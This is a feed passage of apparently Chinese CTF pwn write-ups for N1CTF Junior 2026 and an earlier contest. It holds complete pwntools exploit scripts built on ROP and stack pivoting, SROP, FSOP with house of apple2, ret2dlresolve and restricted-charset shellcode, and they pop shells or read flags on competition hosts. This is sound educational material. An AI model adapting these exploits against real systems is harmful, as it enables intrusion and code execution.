    # 暂不支持大于等于 0x80 字节的超长指令，尽量将指令拆成 4 字节一组以减少 shellcode 长度
    assert len(shellcode) &amp;lt; 0x80
    # 将 rbx 入栈，往 rbp 处构造出超长 shellcode
    payload = asm_015(b&apos;\x53\x48\x8D\x2D\x00\x00\x00\x00&apos;)  # push rbx; lea rbp, [rip]
    for i in range(0, len(shellcode), 2):
        payload += asm_015(b&apos;\x66\xBB&apos; + shellcode[i:i+2])  # mov bx, 0xXXXX
        payload += asm_015(b&apos;\x66\x89\x5D&apos; + bytes([i]))    # mov [rbp + i], bx
    # 将 rbx 出栈，调用 rbp 处的超长 shellcode
    payload += asm_015(b&apos;\x5B\xFF\xD5\x90&apos;)                 # pop rbx; call rbp; nop
    return payload

# debug(&apos;brva 0x001461&apos;)

ru(b&apos;shellcode\n&apos;)

sc = asm_015(asm(&apos;push 0&apos;))
sc += asm_015(asm(&apos;push rbx&apos;))
sc += asm_015(asm(&apos;push 0x1000&apos;))
sc += asm_015(asm(&apos;pop rdx&apos;))
sc += asm_015(asm(&apos;pop rsi&apos;))
sc += asm_015(asm(&apos;pop rax; syscall&apos;))

s(sc)

ru(b&apos;[+]\n&apos;)

s(b&apos;\x90&apos;*0x45c + asm(shellcraft.sh()))

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;简单的pwn&lt;/h1&gt;
&lt;p&gt;输出栈上指定偏移的5字节，泄露libc地址（因为按0x1000对齐）&lt;/p&gt;
&lt;p&gt;在任意位置读入&lt;code&gt;0xC0&lt;/code&gt;，打&lt;code&gt;fsop&lt;/code&gt;应该是不够的，无法同时搞定&lt;code&gt;_flags&lt;/code&gt;和&lt;code&gt;vtable&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;打&lt;code&gt;eop&lt;/code&gt;，在&lt;code&gt;.fini_array&lt;/code&gt;存储的函数地址下断点，反向追踪libc中存储地址的位置&lt;/p&gt;
&lt;p&gt;执行到这里的时候，&lt;code&gt;rbp&lt;/code&gt;就指向起始点，可以用&lt;code&gt;leave; ret&lt;/code&gt;栈迁移执行ROP链（one gadget都不好用）&lt;/p&gt;
&lt;p&gt;实验发现，对应位置的0x18地址不能修改，所以用&lt;code&gt;pop rdi; pop rbp; ret&lt;/code&gt;跳过这里&lt;/p&gt;
&lt;p&gt;值得注意的是，开启aslr和不开启aslr的时候，这个地址与libc基地址的偏移是不一样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./PWN&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   26476
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file, aslr=True)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

# debug(&apos;brva 0x00124E&apos;)
# debug(&apos;brva 0x12D0&apos;)
# debug(&apos;b *0x155555522e65\n&apos;)
# debug(&apos;b g2&apos;)

s(p64(0x29))

libc.address = uu64(b&apos;\xa8&apos;+r(5)) - 0x29ca8
leak(&apos;libc.address&apos;)

addr = libc.address + 0x22f310 - 0x8
leak(&apos;addr&apos;)

s(p64(addr))

payload = flat({
    0x0: libc.address + 0x054c47,                   # leave; ret
    0x8: addr-0x3da0,
    # 0x10: libc.address + 0xfb062
    # 0x10: libc.address + 0x02a145,
    0x10: libc.address + 0x02a33c,                  # pop rdi; pop rbp; ret
    0x18: libc.search(b&apos;/bin/sh\x00&apos;).__next__(),
    0x20: libc.address + 0x22f8f0,
    0x28: libc.sym[&apos;system&apos;]
}, filler=b&apos;\x00&apos;)

s(payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;shadow&lt;/h1&gt;
&lt;p&gt;程序对信号&lt;code&gt;11&lt;/code&gt; (&lt;code&gt;SIGSEGV&lt;/code&gt;)实现了自定义处理，而&lt;code&gt;handler&lt;/code&gt;函数栈帧下方就是保存的寄存器等信息，利用&lt;code&gt;shadow&lt;/code&gt;还原返回地址就可以无限&lt;code&gt;srop&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;首先用第一个&lt;code&gt;read&lt;/code&gt;对&lt;code&gt;rbp&lt;/code&gt;进行偏移（一个&lt;code&gt;1/16&lt;/code&gt;的爆破），使得第二个&lt;code&gt;read&lt;/code&gt;指向自身的返回地址，此时再进入&lt;code&gt;sub_1460&lt;/code&gt;但跳过&lt;code&gt;push rbp; mov rbp, rsp&lt;/code&gt;，就可以让&lt;code&gt;shadow&lt;/code&gt;保存一个返回地址为&lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;故技重施，这次第二个&lt;code&gt;read&lt;/code&gt;维持原本的程序流，&lt;code&gt;printf&lt;/code&gt;泄露出程序基址，然后&lt;code&gt;shadow&lt;/code&gt;将返回地址设置为&lt;code&gt;0&lt;/code&gt;，触发&lt;code&gt;SIGSEGV&lt;/code&gt;，进入&lt;code&gt;handler&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后再用&lt;code&gt;printf&lt;/code&gt;泄露libc基址，然后orw&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   25854
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file, aslr=False)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

# debug(&apos;handle SIGSEGV pass\nbrva 0x145E&apos;)

s(b&apos;A&apos;*0x10 + b&apos;\x60&apos;)

sleep(0.5)

s(b&apos;\x68&apos;)

sleep(0.5)

# debug(&apos;handle SIGSEGV pass\nbrva 0x145E&apos;)

s(b&apos;A&apos;*0x10 + b&apos;\x50&apos;)

# debug(&apos;handle SIGSEGV pass\nbrva 0x15D4&apos;)

sleep(0.5)

s(b&apos;\xee&apos;)

sleep(0.5)

pie = uu64(r(6)) - 0x1509
leak(&apos;pie&apos;)

bss = pie + elf.bss(0x800)
leak(&apos;bss&apos;)

frame = SigreturnFrame()
frame.rip = pie + 0x0014F5
frame.rsi = pie + 0x003FB8
frame.rsp = bss

s(b&apos;A&apos;*0x20 + bytes(frame) + p64(0))

libc.address = uu64(r(6)) - libc.sym[&apos;read&apos;]
leak(&apos;libc.address&apos;)

# debug(&apos;handle SIGSEGV pass\nb open&apos;)

# frame = SigreturnFrame()
# frame.rip = pie + 0x0014F5
# frame.rsi = libc.address + 0x20ad58
# frame.rsp = bss

# s(b&apos;A&apos;*0x20 + bytes(frame) + p64(0))

# stack = uu64(r(6))
# leak(&apos;stack&apos;)

sleep(0.5)

frame = SigreturnFrame()
frame.rip = libc.sym[&apos;open&apos;]
frame.rdi = bss - 0x5c0
frame.rsi = 0
frame.rsp = bss

s(b&apos;/flag&apos;.ljust(0x20, b&apos;\x00&apos;) + bytes(frame) + p64(0))

frame = SigreturnFrame()
frame.rip = libc.sym[&apos;read&apos;]
frame.rdi = 3
frame.rsi = bss + 0x100
frame.rdx = 0x50
frame.rsp = bss

s(b&apos;A&apos;*0x20 + bytes(frame) + p64(0))

frame = SigreturnFrame()
frame.rip = libc.sym[&apos;write&apos;]
frame.rdi = 1
frame.rsi = bss + 0x100
frame.rdx = 0x50
frame.rsp = bss

s(b&apos;A&apos;*0x20 + bytes(frame) + p64(0))


itr()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>N1CTF Junior 2026 1/2 Pwn 全题解</title><link>https://blog.mcitd.cn/posts/n1ctf-junior-2026-1/wp/</link><guid isPermaLink="true">https://blog.mcitd.cn/posts/n1ctf-junior-2026-1/wp/</guid><pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;好久没写题解了&lt;/p&gt;
&lt;p&gt;Updated: f0rm@t?赛后复现&lt;/p&gt;
&lt;h1&gt;ez_canary&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./6.png&quot; alt=&quot;image-20260126171530938&quot; /&gt;&lt;/p&gt;
&lt;p&gt;client有5次连接同一server的机会&lt;/p&gt;
&lt;p&gt;当输入不为1时，可以覆盖saved rbp和返回地址&lt;/p&gt;
&lt;p&gt;然后用0x200的read把got.__stack_chk_fail写为空函数，就随便玩了&lt;/p&gt;
&lt;p&gt;这里rbp刚刚好，没有破坏got.write&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./client&apos;
elf = ELF(&apos;./server&apos;)
libc = ELF(&apos;../libc-2.31.so&apos;)

choice = 1
port =   13774
target = &apos;60.205.163.215&apos;
if choice:
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

ru(b&apos;functions?\n&apos;)
sl(b&apos;2&apos;)
s(p64(0x404030+64) + p64(0x401451))

s(p64(0x4018B4)*8 + p64(elf.bss(0x800)) + p64(0x401451))

pause()

s(p64(0)*9 + p64(0x401893) + p64(elf.got[&apos;puts&apos;]) + p64(elf.plt[&apos;puts&apos;]))

ru(b&apos;This is canary!\n&apos;)
ru(b&apos;[Server]: &apos;)
libc.address = uu64(r(6)) - libc.sym[&apos;puts&apos;]
leak(&apos;libc.address&apos;)

p.close()
if choice:
    p = remote(target, port)
else:
    p = process(file)

pause()

ru(b&apos;functions?\n&apos;)
sl(b&apos;2&apos;)
s(p64(0x404030+64) + p64(0x401451))

s(p64(0x4018B4)*8 + p64(elf.bss(0x800)) + p64(0x401451))

pause()

s(p64(0)*9 + p64(0x401894) + p64(0x401893) + p64(libc.search(b&apos;/bin/sh\x00&apos;).__next__()) + p64(libc.sym[&apos;system&apos;]))

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Old_5he1lc0de&lt;/h1&gt;
&lt;p&gt;参考了一下&lt;a href=&quot;https://github.com/infobahnctf/CTF-2025/blob/main/pwn/quintuple-read/&quot;&gt;quintuple-read&lt;/a&gt;的解法&lt;/p&gt;
&lt;p&gt;需要用两种不同的字符集实现orw，且两次使用字节种类最多15&lt;/p&gt;
&lt;p&gt;初始时只剩rdx和rip指向内存块的起点&lt;/p&gt;
&lt;p&gt;第一次&lt;code&gt;mov rbx, rdx&lt;/code&gt;，用rbx作为指针，目标代码和生成代码在同一个地方&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;add byte ptr [rbx], 1&lt;/code&gt;对当前字节加一，&lt;code&gt;add bl, 1&lt;/code&gt;将指针移动到下一位&lt;/p&gt;
&lt;p&gt;解码完成后起始位置就是orw，&lt;code&gt;jmp rdx&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;【使用了9种字节】&lt;/p&gt;
&lt;p&gt;第二次用rdx作为指针，目标代码紧跟在生成代码后，无需跳转&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;inc byte ptr [rdx]&lt;/code&gt;对当前字节加一，&lt;code&gt;inc dl&lt;/code&gt;将指针移动到下一位&lt;/p&gt;
&lt;p&gt;开始时&lt;code&gt;add dx,0x2929&lt;/code&gt;，用无害指令将生成代码补齐&lt;/p&gt;
&lt;p&gt;【使用了6种字节】&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./chal&apos;
elf = ELF(file)

choice = 1
if choice:
    port =   19500
    target = &apos;60.205.163.215&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

# debug(&apos;brva 0x0011ED&apos;)

# 无push+pop版本
shellcode = &apos;&apos;&apos;
    mov qword ptr [rdx+0x5000], 0x67616c66
    /* call open(&apos;rsp&apos;, &apos;O_RDONLY&apos;, &apos;rdx&apos;) */
    mov al, 2
    lea rdi, [rdx+0x5000]
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, &apos;rax&apos;, 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    xor rax, rax
    mov al, 40
    xor rdi, rdi
    mov dil, 1
    cdq /* rdx=0 */
    syscall
&apos;&apos;&apos;
shellcode = asm(shellcode)

print(len(shellcode))

# s(shellcode)
# itr()
# exit(0)

STEP = asm(&apos;add bl, 1&apos;) # 80 c3 01
INC = asm(&apos;add byte ptr [rbx], 1&apos;) # 80 03 01

sc = bytearray(asm(&apos;mov rbx, rdx&apos;)) # 48 89 d3
generated = bytearray(asm(&apos;mov rbx, rdx&apos;))

def inc(index):
    generated[index] = (generated[index] + 1) &amp;amp; 0xFF

i = 0
for byte in shellcode:
    while generated[i] != byte:
        inc(i)
        sc.extend(INC)
        generated.extend(INC)
    
    if i != len(shellcode) - 1:
        sc.extend(STEP)
        generated.extend(STEP)
    i += 1

sc.extend(asm(&apos;jmp rdx&apos;)) # ff e2

sla(b&apos;2):&apos;, sc.hex())

pause()

STEP = asm(&apos;inc dl&apos;) # fe c2
INC = asm(&apos;inc byte ptr [rdx]&apos;) # fe 02

sc = bytearray(asm(&apos;add dx,0x2929&apos;)) # 66 81 c2 29 29
generated = bytearray(b&apos;\x00&apos;*0x3000)

def inc(index):
    generated[index] = (generated[index] + 1) &amp;amp; 0xFF

i = 0
for byte in shellcode:
    while generated[i] != byte:
        inc(i)
        sc.extend(INC)
    
    if i != len(shellcode) - 1:
        sc.extend(STEP)
    i += 1

sla(b&apos;2):&apos;, (sc + (0x2929-len(sc))//2*STEP).hex())

itr()

# flag{1t_i5_Ha2d_r1ght?_029a3dbf-61d0-4e94-8863-da11296a0d04_NyPXKByB}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;failed&lt;/h1&gt;
&lt;p&gt;漏洞在&lt;code&gt;add_note&lt;/code&gt;的size可以为负数或很大的数，且没有检查malloc是否成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./7.png&quot; alt=&quot;image-20260126174754647&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;show_note&lt;/code&gt;中看似size为负数时write长度会为-1，无法正常输出&lt;/p&gt;
&lt;p&gt;但实际上size为-1时长度为8，因为这里的条件赋值用的是&lt;code&gt;cmovbe&lt;/code&gt;（below or equal，无符号）&lt;/p&gt;
&lt;p&gt;于是可以绕过\0截断，泄露出heap地址&lt;/p&gt;
&lt;p&gt;然后泄露libc基址&lt;/p&gt;
&lt;p&gt;当size为很大的数（地址）时，malloc会失败，这样就可以在任意地方写一个\0&lt;/p&gt;
&lt;p&gt;数字够大时，read不会尝试读取，但这里会读取，所以要输入一个数字+换行，否则之后的scanf会失败&lt;/p&gt;
&lt;p&gt;打了一个常规的消除&lt;code&gt;prev_inuse&lt;/code&gt;位+house of apple2，没有用到后门&lt;/p&gt;
&lt;p&gt;如果知道程序基址的话，也能直接把user_logging改为0使用后门&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./admin&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   23936
    target = &apos;60.205.163.215&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
n2b     = lambda x                  :str(x).encode()

registered = []

def menu(i):
    sla(b&apos;&amp;gt; &apos;, n2b(i))

def reg(x):
    menu(1)
    sla(b&apos;User name: &apos;, n2b(x))
    sla(b&apos;Password: &apos;, n2b(x))
    registered.append(x)

def login(x):
    menu(2)
    sla(b&apos;User name: &apos;, n2b(x))
    sla(b&apos;Password: &apos;, n2b(x))

def logout():
    menu(5)

def switch(i):
    if i not in registered:
        reg(i)
    login(i)

def add(i, size, content = b&apos;&apos;):
    switch(i)
    menu(1)
    sla(b&apos;Size: &apos;, n2b(size))
    ru(b&apos;Content: &apos;)
    if content != b&apos;&apos;:
        s(content)
    logout()

def edit(i, content):
    switch(i)
    menu(2)
    sa(b&apos;Content: &apos;, content)
    logout()

def show(i):
    switch(i)
    menu(3)
    ru(b&apos;Content: &apos;)
    content = r(8)
    logout()
    return content

def free(i):
    switch(i)
    menu(4)
    logout()


# debug(&apos;brva 0x002819&apos;)
add(10, -1)
free(10)
add(10, -1)
heap = uu64(show(10)[:6]) &amp;lt;&amp;lt; 12
leak(&apos;heap&apos;)

for i in range(1, 10):
    reg(i)

add(1, 0x410, b&apos;\x00&apos;)
add(2, 0x100, b&apos;\x00&apos;)
free(1)
add(1, 0x410, b&apos;\x00&apos;)

libc.address = uu64(show(1)[:6]) - 0x203b00
leak(&apos;libc.address&apos;)

add(3, 0x417, b&apos;\x00&apos;)
add(4, 0x4f7, b&apos;\x00&apos;)
add(5, 0x17, b&apos;\x00&apos;)

edit(2, p64(heap + 0xc30)*2)
edit(3, p64(heap + 0xb20)*2+p64(0)*2*64+p32(0x420))

# debug(&apos;b free&apos;)
add(9, heap+0x1058, b&apos;6\n&apos;)
free(4)
add(6, 0x107, b&apos;\x00&apos;)
add(7, 0x107, b&apos;\x00&apos;)
add(8, 0x107, b&apos;\x00&apos;)

free(8)
free(6)
stdout = libc.sym[&apos;_IO_2_1_stdout_&apos;]
edit(3, p64((heap&amp;gt;&amp;gt;12) ^ stdout))
add(6, 0x107, b&apos;\x00&apos;)

fake_io = flat(
    {
        0x0: b&quot;  sh;&quot;,
        0x28: libc.sym[&apos;system&apos;],
        0x88: heap,    # lock writable addr
        0xA0: stdout - 0x40,   # _wide_data
        0xD8: libc.sym[&apos;_IO_wfile_jumps&apos;] - 0x20,
    },
    filler=b&quot;\x00&quot;
)

debug(&apos;brva 0x002819&apos;)

switch(8)
menu(1)
sla(b&apos;Size: &apos;, n2b(0x107))
ru(b&apos;Content: &apos;)
s(fake_io)

# debug()

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Onlyfgets&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;image-20260126170725649&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一开始写了一个ret2dl，把system解析到got.fgets上&lt;/p&gt;
&lt;p&gt;这个脚本本地能通，但是docker和远程都不通&lt;/p&gt;
&lt;p&gt;（不是patchelf的问题）&lt;/p&gt;
&lt;p&gt;没搞清楚docker内的调试，花费了很多时间，仍然不知道问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./onlyfgets&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
# port =   8889
# target = &apos;127.0.0.1&apos;
port =   16538
target = &apos;60.205.163.215&apos;
if choice:
    p = remote(target, port)
else:
    # p = process(file)
    p = process([&quot;./ld-linux-x86-64.so.2&quot;, &quot;--library-path&quot;, &quot;./&quot;, file])

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)

def get_pid(process_name):
    ps_output = subprocess.check_output([&apos;ps&apos;, &apos;-a&apos;]).decode(&apos;utf-8&apos;)
    lines = ps_output.splitlines()
    for line in lines:
        if process_name in line:
            pid = line.split()[0]
            if pid.isdigit():
                return pid
    return None
 
def gdbremote(pid, name = &apos;n1j:onlyfgets&apos;, port = &apos;10000&apos;, ip = &apos;127.0.0.1&apos;):
    os.system(&quot;gnome-terminal -- bash -c \&quot;docker exec -it &quot; + name + &quot; gdbserver :&quot; + port + &quot; --attach &quot; + pid + &quot; \&quot;&quot;)
    os.system(&quot;gnome-terminal -- bash -c \&quot;gdb -ex \\\&quot;target remote &quot; + ip + &quot;:&quot; + port + &quot;\\\&quot; \&quot;&quot;)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

pause()

# debug(&apos;set follow-fork-mode parent\nb *0x4011F0&apos;)
# gdbremote(get_pid(&quot;onlyfgets&quot;))

pause()

ropp = ROP(elf)
bss = elf.bss(0xb00)

ret2dl = Ret2dlresolvePayload(elf, &apos;system&apos;, [], 0x404b60, elf.got[&apos;fgets&apos;])
ropp.ret2dlresolve(ret2dl)

payload = b&apos;A&apos;*32 + p64(bss) + p64(0x4011DD)
assert b&apos;\x0a&apos; not in payload
sl(payload)

pause()

payload = b&apos;A&apos;*32 + p64(bss-0x300) + p64(0x4011DD) + ret2dl.payload + b&apos;sh\x00&apos;
assert b&apos;\x0a&apos; not in payload
sl(payload)

pause()

payload = b&apos;A&apos;*32 + p64(bss+0x88-0x10)
payload += ropp.chain() + p64(0x4011DD)
assert b&apos;\x0a&apos; not in payload
sl(payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来搜了一下，发现有原题...然后去学习了一下&lt;/p&gt;
&lt;p&gt;大部分ELF都有&lt;code&gt;__do_global_dtors_aux&lt;/code&gt;，对这条指令从中间进入可以解析为一个magic gadget&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.png&quot; alt=&quot;image-20260126170428614&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.png&quot; alt=&quot;image-20260126170052835&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果程序有&lt;code&gt;__libc_csu_init&lt;/code&gt;，就可以轻易控制&lt;code&gt;rbp&lt;/code&gt;和&lt;code&gt;rbx&lt;/code&gt;，从而进行任意地址写，不过这里没有&lt;/p&gt;
&lt;p&gt;这题特殊点在于&lt;code&gt;fgets&lt;/code&gt;执行后，&lt;code&gt;rdx&lt;/code&gt;会被设置为&lt;code&gt;stdin&lt;/code&gt;的&lt;code&gt;_flag&lt;/code&gt; (0xfbad208b)&lt;/p&gt;
&lt;p&gt;同时有两个控制&lt;code&gt;rbx&lt;/code&gt;的gadget&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.png&quot; alt=&quot;image-20260126170510312&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.png&quot; alt=&quot;image-20260126170648822&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而libc中&lt;code&gt;execve&lt;/code&gt;在&lt;code&gt;alarm&lt;/code&gt;下方，&lt;code&gt;ssignal&lt;/code&gt;下方有&lt;code&gt;syscall &amp;lt;SYS_rt_sigreturn&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;于是可以结合三个gadget，把got.alarm改为execve，got.signal改为syscall sigreturn&lt;/p&gt;
&lt;p&gt;注意最后直接跳转到plt.signal，避免压入的返回地址对srop造成影响&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./patched&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
# port =   8889
# target = &apos;127.0.0.1&apos;
port =   54556
target = &apos;60.205.163.215&apos;
if choice:
    p = remote(target, port)
else:
    p = process(file)
    # p = process([&quot;/home/ctf/onlyfgets/ld-linux-x86-64.so.2&quot;, &quot;--library-path&quot;, &quot;/home/ctf/onlyfgets&quot;, &quot;/home/ctf/onlyfgets/onlyfgets&quot;])

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

# debug(&apos;b *0x4011F0&apos;)

pause()

ret = 0x4011fd
pop_rdi_ret = 0x4011fc
pop_rbp_ret = 0x40114d
xor_rbx_ret = 0x4011FE
add_bl_dh_ret = 0x4010ae         # rbx ebx bx bh/bl | rdx edx dx dh/dl
add_rbp_3d_ebx_ret = 0x40114c

# rdx = 0xfbad208b | dh = 0x20
# rbx = 0 =&amp;gt; 0xc0

# 0x73c31efcc540 &amp;lt;alarm&amp;gt;
# + 0xb40 = 0xc0*15
# 0x73c31efcd080 &amp;lt;execve&amp;gt;

payload = [b&apos;\x00&apos;*0x28]
payload += [add_bl_dh_ret]*6
payload += [pop_rbp_ret, elf.got[&apos;alarm&apos;]+0x3d]
payload += [add_rbp_3d_ebx_ret]*15
payload += [elf.sym[&apos;main&apos;]]

sl(flat(payload))
pause()

# rdx = 0xfbad208b | dh = 0x20
# rbx = 0 =&amp;gt; 0x80

# 0x73c31ef24420 &amp;lt;ssignal&amp;gt;
# + 0x100 = 0x80*2
# 0x73c31ef24520  mov rax, 0xf
